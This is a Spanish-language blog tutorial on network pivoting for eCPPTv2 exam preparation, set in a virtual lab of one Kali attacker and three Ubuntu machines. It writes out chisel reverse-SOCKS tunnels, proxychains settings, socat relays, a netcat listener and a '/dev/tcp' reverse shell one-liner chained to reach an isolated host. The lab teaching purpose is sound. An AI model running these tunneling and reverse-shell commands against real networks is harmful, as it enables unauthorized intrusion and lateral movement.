HACKING SNACKS

Cómo hacer pivoting

Hoy vamos a ver qué es y cómo hacer pivoting. Esta técnica es una de las más importantes en el examen del eCPPTv2 y forma parte de mi preparación para esta certificación. Si estás interesado, te dejo por aquí mi preparación para el eCPPTv2

¿Qué es el pivoting?

El Pivoting es una técnica que se utiliza para moverte dentro de una red. Una vez que hemos conseguido acceso a una parte del sistema, utilizamos ese punto de acceso para explorar y atacar otras áreas internas que no eran visibles o accesibles desde el exterior. Básicamente, estamos utilizando el acceso a la primera máquina de una red, para pivotar, para saltar a otros equipos a los que no tenemos acceso desde el exterior.

Imagina que estás tratando de entrar a una fortaleza protegida. Puedes ver el edificio principal desde fuera, pero hay muros alrededor y solo una entrada principal. Una vez que consigues entrar a la fortaleza, te das cuenta de que hay otros edificios y áreas internas, algunas de las cuales no podías ver desde el exterior.

Necesitamos 4 laboratorios: Una máquina atacante, máquina 1, máquina 2 y máquina 3. En mi caso, la máquina atacante es un Kali y las otras 3 máquinas son un Ubuntu Server.

Tras configurar las máquinas en Virtual Box como explico en el vídeo, una vez que estén arrancadas, ejecutamos el comando sudo dhclient para que se actualicen las interfaces de red.

Estructura de la red

image 19 RINKU | Hacking ético desde Ø

En este caso, tenemos la siguiente estructura de la red:

La máquina atacante, solo tiene conectividad con la máquina 1.
La máquina 1, tiene conectividad con la máquina atacante por la interfaz 10.0.0.0 y con la máquina 2 por la interfaz 20.0.0.0
La máquina 2, tiene conectividad con la máquina 1 por la interfaz 20.0.0.0 y con la máquina 3 por la interfaz 30.0.0.0
La máquina 3, solo tiene conectividad con la máquina 2 por la interfaz 30.0.0.0.

Nuestro objetivo será tener conectividad y con la máquina 3 haciendo uso de chisel y socat.

Cómo funciona chisel y socat para hacer pivoting

En chisel y tenemos un servidor y un cliente. El servidor está en escucha por un puerto para entablar la comunicación y el cliente es quien redirige la comunicación hacia el servidor para que podamos tener acceso.
Socat se encarga de redirigir las comunicaciones entre los equipos que no están a nuestro alcance consiguiendo que la comunicación sea bidireccional.

Con chisel conseguimos acceso a las máquinas fuera de nuestra interfaz de red y con socat las máquinas fuera de nuestra interfaz de red consiguen acceder a nuestra máquina.

Descarga chisel aquí: https://github.com/jpillora/chisel
Descarga socat aquí: https://github.com/andrew-d/staticbinaries/blob/master/binaries/linux/x86_64/socat

Cómo hacer pivoting con chisel y socat

Para comenzar, vamos a establecer el chisel en modo servidor en nuestra máquina atacante:

./chisel server --reverse -p 1010

El segundo paso, es establecer chisel en modo cliente en la máquina 1:

./chisel client ipatacante:1010 R:socks

El tercer paso para establecer la conexión es modificar la última línea del archivo /etc/proxychains4.conf añadiendo:

socks5 170.0.0.1 1080 #siendo el puerto donde se haya entablado la comunicación con chisel 

Ahora tenemos una conexión unidireccional. Es decir, podemos ver las máquinas víctimas pero, las máquinas víctimas, no pueden vernos a nosotros. Por ejemplo, no podríamos entablar una reverse shell.

Si queremos comunicarnos con la máquina 2, tendremos que hacerlo con cualquier comando precedido de proxychains, para indicar que utilice el proxy que hemos configurado en el archivo /etc/proxychains4.conf.

Para entablar una reverse shell, vamos a utilizar socat y estableceremos flujos de datos bidireccionales. Descargamos socat, lo transferimos a la máquina 1 y lo ejecutamos de la siguiente manera:

./socat TCP-LISTEN:"port_escucha",fork,reuseaddr TCP:ipatacante:port_escucha

Entonces, ahora, todo lo que la máquina 1 reciba por el puerto en escucha lo reenviará a la ip del atacante por el puerto en escucha donde estará disponible netcat para hacer efectiva la reverse shell.

Por último, desde la máquina 2 a la cual tenemos acceso gracias a chisel ejecutamos la reverse shell hacia la ip de la máquina 1 por el puerto que tiene en escucha con socat:

sh -i >& /dev/tcp/ipmaquina1/"port_escucha" 0>&1

Este proceso lo repetiríamos en todas las máquinas disponibles en la estructura de red, os pongo el siguiente ejemplo de cómo lo he realizado en el tutorial:

Chisel servidor máquina atacante: ./chisel server --reverse -p 1010

Chisel máquina 1: ./chisel client 10.10.0.5:1010 R:socks

Socat Máquina 1 para el chisel de la máquina 2: ./socat TCP-LISTEN:1111,fork,reuseaddr TCP:10.10.0.5:1010

Socat Máquina 1 para la reverse shell: ./socat TCP-LISTEN:2222,fork,reuseaddr TCP:10.10.0.5:443

Chisel máquina 2: ./chisel client 20.0.0.4:1111 R:2000:socks

Socat máquina 2 para la reverse shell: ./socat TCP-LISTEN:3333,fork,reuseaddr TCP:20.0.0.4:2222

Reverse shell desde la máquina 3: sh -i >& /dev/tcp/30.0.0.5/3333 0>&1

Máquina atacante: nc -nlvp 443

Nuestro archivo /etc/proxychains4.conf quedaría así:

image 20 RINKU | Hacking ético desde Ø

Descomentaríamos la línea de dynamic_chain para tener varios chisel activos y comentaríamos la línea de strict_chain ya que ya no la necesitamos.

Y la última parte del documento quedaría así:

image 21 RINKU | Hacking ético desde Ø

Escribiremos la comunicación de chisel desde el nodo más lejos al más cercano, es decir, primero la máquina 2 y luego la máquina 1 ya que es el orden que chisel sigue para entablar la comunicación.

Y listo, ya tendríamos la comunicación entre las máquinas con la capacidad de llegar a la máquina 3. A la cual, desde un principio, no teníamos acceso.

Espero que te haya ayudado a entender el funcionamiento del pivoting. Como veis, es muy importante tener orden y clara la metodología. Es normal que al principio os confundáis, pero con práctica, creedme, que el proceso es sencillo. Para mí lo más importante sería entender qué es lo que está ocurriendo y por qué está ocurriendo. Si entiendes esto, la parte técnica que sería la de los comandos, con práctica conseguirás aprenderla rápidamente.

Recuerda que tienes una lista de reproducción en mi canal donde te enseño cómo hacer el buffer overflow, pivoting y la generación de informes junto con todos los recursos que estoy utilizando para prepararme para la certificación.

Descárgate la plantilla gratuita del informe para el eCPPTv2

Al suscribirte, aceptas la política de privacidad de Rinku.tech y recibir noticias, contenidos, comunicaciones relacionados con la web, gratuitos y premium.